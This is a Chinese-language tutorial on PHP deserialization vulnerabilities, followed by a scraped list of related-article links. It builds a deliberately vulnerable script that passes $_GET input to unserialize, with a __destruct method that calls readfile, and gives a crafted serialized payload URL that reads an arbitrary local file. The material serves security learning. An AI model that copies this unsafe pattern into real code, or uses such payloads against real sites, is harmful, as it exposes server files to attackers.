PHP反序列化漏洞学习
serialize:序列化
unserialize: 反序列化
简单解释:
serialize 把一个对象转成字符串形式, 可以用于保存
unserialize 把serialize序列化后的字符串变成一个对象
我们来看一个实例:
<?php
class F{
public $filename='a.txt';
} $a = new F();
echo $a->filename.'<br />';
echo serialize($a);
上面例子是创建一个类, 并输出 filename的值 , 最后输出序列化字符串:
关于这一串:
O:1:"F":1:{s:8:"filename";s:5:"a.txt";}
简单解释:
O: 对像, 1 对象名长度, 就是这里的 'F'
s: 字符串
8: 字符串长度, 后面的filename为字符串定义时的名字
详细解释可以百度找资料看, 因为这个不是本文重点。
这里你可以看到, 我代码里的类定义为: class F, 这个序列化就是 F, 我定义变量名字是filename, 它这里也是 filename, 我们可以修改看看:
可以看到序列化后的变量名字变成 filenameF 了。
看下面代码:
<?php
class F{
public $filenameF='bcda.txt';
} $a = new F();
echo $a->filenameF.'<br />';
echo serialize($a);
这是另一个代码:
<?php
class F{
public $filename='a.txt';
} $a = new F();
echo $a->filename.'<br />';
echo serialize($a);
这两个代码定义的类一样, 只是属性不一样。
当我们用如下代码反序列时:
<?php
class F{
public $filename='a.txt';
function __destruct(){
echo '--------------><br />';
}
} $a = new F();
echo $a->filename.'<br />';
echo serialize($a);
$b = unserialize('O:1:"F":1:{s:9:"filenameF";s:8:"bcda.txt";}');
echo '<br />'.$b->filename;
echo '<br />'.$b->filenameF;
可以看到析构函数输出了两次, 说明这两个应是同一个类, 只是 $b 多出了一个属性 filenameF, filename可直常输出, filenameF也可正常输出。
在PHP中, 类被创建或消失后, 都会自动的执行某些函数, 如:
__construct(), __destruct(), __call(), __callStatic(), __get(), __set(), __isset(), __unset(), __sleep(), __wakeup(), __toString(), __invoke(), __set_state(), __clone(), and __autoload()
或自动执行某些方法, 如:
Exception::__toString
ErrorException::__toString
DateTime::__wakeup
ReflectionException::__toString
ReflectionFunctionAbstract::__toString
ReflectionFunction::__toString
ReflectionParameter::__toString
ReflectionMethod::__toString
ReflectionClass::__toString
ReflectionObject::__toString
ReflectionProperty::__toString
ReflectionExtension::__toString
LogicException::__toString
BadFunctionCallException::__toString
BadMethodCallException::__toString
DomainException::__toString
InvalidArgumentException::__toString
LengthException::__toString
OutOfRangeException::__toString
RuntimeException::__toString
我们就可以利用这种自动执行某些函数或方法的特性,执行我们相要的操作。
我们创建如下代码:
<?php
class F{
public $filename='d:\\phpstudy\\www\\a.txt';
#$filename为public
function __destruct(){
$data = readfile($this->filename);
echo $data;
}
} $a = new F();
echo $a->filename.'<br />';
运行时如下所示:
因为 __destruct 析构函数在一个类对象消失时, 会自动执行。 所以上面的代码当运行结束时, 类对象 $a 消失后, 代码会自动执行 __destruct() 函数。
假如我们创建一个如下的测试代码:
<?php
class F{
public $filename='d:\\phpstudy\\www\\a.txt';
#$filename为public
function __destruct(){
$data = readfile($this->filename);
echo $data.'<br />';
}
} $a = new F();
echo $a->filename.'<br />';
$b = unserialize($_GET[a]);
这代码中我们用unserialize反序列一个字符串变成一个类对象, 也就是说这个代码中, 会有两个类对象, 一个是$a, 一个是用户可控的$b ($b 中的filename可控, 因为class F中的 filename为public)。
当代码运行结束时, 会运行两个析构函数。 第一次运行的析构函数中, filename为$a中默认的 'd:\\phpstudy\\www\\a.txt', 第二个因为是从$_GET[a]获得字符串, 所以我们可以控制第二个对象中的filename。
从而使得 __destruct 函数可以读取到我们想要读的文件。
下面这个代码中的类跟上面代码的类一样, 不同的地方是我们修改了filename的值, 并生成序列化字符串:
<?php
class F{
public $filename='a.txt';
} $a = new F();
$a->filename = 'd:\\phpstudy\\www\\2.txt';
echo serialize($a);
生成的序列化字符串为:
O:1:"F":1:{s:8:"filename";s:21:"d:\phpstudy\www\2.txt";}
再创建一个 2.txt 文件用于测试, 内容为:
password
现在,我们已改变了原来的 filename值,并生成了序列化字符串, 再把它发送到测试代码中去:
http://localhost/11.php?a=O:1:%22F%22:1:{s:8:%22filename%22;s:21:%22d:\phpstudy\www\2.txt%22;}
测试代码除了有对象 $a 外, 还反序列化创建了一个对象 $b, 而这个$b中的属性filename被我们修改了。
最后运行两次 __destruct析构函数时, 一次读取了 a.txt, 另一次读取了 2.txt。
最后总结一下:
<?php
include "xxx.php";#此文件中有类定义, 有魔术函数或方法, 且输入参数能被控制
class Classname{
#存在有害魔术函数或方法,且输入参数能被控制
} do something...
do something...
do something... #存在反序列化函数
unserialize('用户输入有害参数未过滤')
do something...
do something...
do something...
参考:
http://blog.csdn.net/qq_32400847/article/details/53873275
http://www.freebuf.com/vuls/80293.html
PHP反序列化漏洞学习的更多相关文章
- Python 反序列化漏洞学习笔记
参考文章 一篇文章带你理解漏洞之 Python 反序列化漏洞 Python Pickle/CPickle 反序列化漏洞 Python反序列化安全问题 pickle反序列化初探 前言 上面看完,请忽略下 ...
- CVE-2018-2628 weblogic WLS反序列化漏洞--RCE学习笔记
weblogic WLS 反序列化漏洞学习 鸣谢 感谢POC和分析文档的作者-绿盟大佬=>liaoxinxi:感谢群内各位大佬及时传播了分析文档,我才有幸能看到. 漏洞简介 漏洞威胁:RCE-- ...
- 通过WebGoat学习java反序列化漏洞
首发于freebuff. WebGoat-Insecure Deserialization Insecure Deserialization 01 概念 本课程描述了什么是序列化,以及如何操纵它来执行 ...
- PHP反序列化漏洞代码审计—学习资料
1.什么是序列化 A.PHP网站的定义: 所有php里面的值都可以使用函数serialize()来返回一个包含字节流的字符串来表示.unserialize()函数能够重新把字符串变回php原来的值. ...
- 学习笔记 | java反序列化漏洞分析
java反序列化漏洞是与java相关的漏洞中最常见的一种,也是网络安全工作者关注的重点.在cve中搜索关键字serialized共有174条记录,其中83条与java有关:搜索deserialized ...
- 五个demo案例带你学习PHP反序列化漏洞
一直想研究下php反序列化漏洞,花了几天时间做了个简单的了解..写篇文章记录下. 直白点就是围绕着serialize和unserialize两个函数. 一个用于序列化,一个用于反序列化. 我们通常把字 ...
- PHP 反序列化漏洞入门学习笔记
参考文章: PHP反序列化漏洞入门 easy_serialize_php wp 实战经验丨PHP反序列化漏洞总结 PHP Session 序列化及反序列化处理器设置使用不当带来的安全隐患 利用 pha ...
- fastjson反序列化漏洞历史CVE学习整理
fastjson 1.2.24反序列化漏洞复现 先写一个正常的使用 fastjson的web服务 我们使用 springboot创建 主要是pom.xml 里面要添加fastjson fastjson ...
- Java反序列化漏洞执行命令回显实现及Exploit下载
原文地址:http://www.freebuf.com/tools/88908.html 本文原创作者:rebeyond 文中提及的部分技术.工具可能带有一定攻击性,仅供安全学习和教学用途,禁止非法使 ...
随机推荐
- day08-(xml&&tomcat)
回顾: jdbc: java语言操作数据库 jdbc是一套规范,oracle公司制定的 驱动:jdbc的实现类,由数据库厂商提供 使用步骤: .导入jar包(驱动) .注册驱动 Class.forNa ...
- CodeForces922E DP//多重背包的二进制优化
https://cn.vjudge.net/problem/1365218/origin 题意 一条直线上有n棵树 每棵树上有ci只鸟 在一棵树底下召唤一只鸟的魔法代价是costi 每召唤一只鸟,魔法 ...
- Zabbix Server 自带模板监控无密码MySQL数据库
Zabbix Server 自带模板监控无密码MySQL数据库 作者:尹正杰 版权声明:原创作品,谢绝转载!否则将追究法律责任. 一.安装MariaDB 1>.安装MariaDB [root ...
- hdu 6418(石头剪刀布 **)
题意是说双方各有剪刀,石头和布的卡片各 a,b,c,a‘,b',c' 张,对方是随机选择,问我方的最大预期得分. 这道题目一开始看到的时候感觉没有头绪,再次读题,发现题目说结果可能是分数,如果是分数的 ...
- HDU 5984 数学期望
对长为L的棒子随机取一点分割两部分,抛弃左边一部分,重复过程,直到长度小于d,问操作次数的期望. 区域赛的题,比较基础的概率论,我记得教材上有道很像的题,对1/len积分,$ln(L)-ln(d)+1 ...
- Golang入门教程(四)变量声明
Go 语言变量名由字母.数字.下划线组成,其中首个字母不能为数字. 一.Go的语言结构 1.Go的语言基础部分由这几个部分组成 包声明 引入包 函数 变量 语句&表达式 注释 比如下面这个简单 ...
- ASP.NET MVC 4 (十) 模型验证
模型验证是在模型绑定时检查从HTTP请求接收的数据是否合规以保证数据的有效性,在收到无效数据时给出提示帮助用户纠正错误的数据. 显式模型验证 验证数据最直接的方式就是在action方法中对接收的数据验 ...
- NET Core Kestrel部署HTTPS使用SSL证书
ASP.NET Core配置 Kestrel部署HTTPS.现在大部分网站已经部署HTTPS,大家对于安全越来越重视. 今天简单介绍一下ASP.NET Core 部署HTTPS,直接通过配置Kestr ...
- windows10下TensorFlow安装记录
1.安装anaconda 安装最新版:https://repo.anaconda.com/archive/Anaconda3-5.3.0-Windows-x86_64.exe 加入环境变量: path ...
- python模块之hashlib
摘要算法 1. 摘要算法又称为哈希算法.散列算法,是通过函数将任意长度的数据转化成固定长度的数据串(通常用16进制的字符串表示). 2. 摘要算法将通过摘要函数f()将数据转化成固定长度的摘要(dig ...